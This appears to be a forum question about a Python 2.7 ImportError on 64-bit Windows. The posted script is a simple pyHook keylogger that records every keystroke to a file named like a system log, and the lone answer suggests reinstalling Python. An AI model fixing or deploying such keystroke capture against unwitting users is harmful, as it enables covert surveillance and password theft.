Error while running python

Asked

Viewed 129 times

1

I’m testing a python code and I have the libraries it uses, but when I run, it gives this error:

Importarror: DLL load failed: %1 nờo Ú um aplicativo Win32 vßlido.

The version is 64 bits.

Code:

import pyHook, pythoncom, sys, logging

file_log = 'C:\Users\usuario\Documents\systemlogpython.txt'

def OnKeyBoard(event):

   logging.basicConfig(filename=file_log, level=loggin.DEBUG, format='%(message)s')


   chr(event.Ascii)

   logging.log(10,chr(event.Ascii))

   return True


hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = OnKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()
  • What is the version of your OS? and what version of python is installed? both are equal?

  • Windows 10 64 bits, and Python 2.7 tbm 64bits. Libraries: Win32 and Pyhook

  • Is the error on a specific line? It happens at the start of execution?

1 answer

-2

If you installed a 32-bit version of Python and then another 64 later, it may conflict with the environment variables. A similar problem occurred and I had to redo the installation of Pyhton with cleaning the Windows records and excluding environment variables that erroneously pointed to the old installation.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.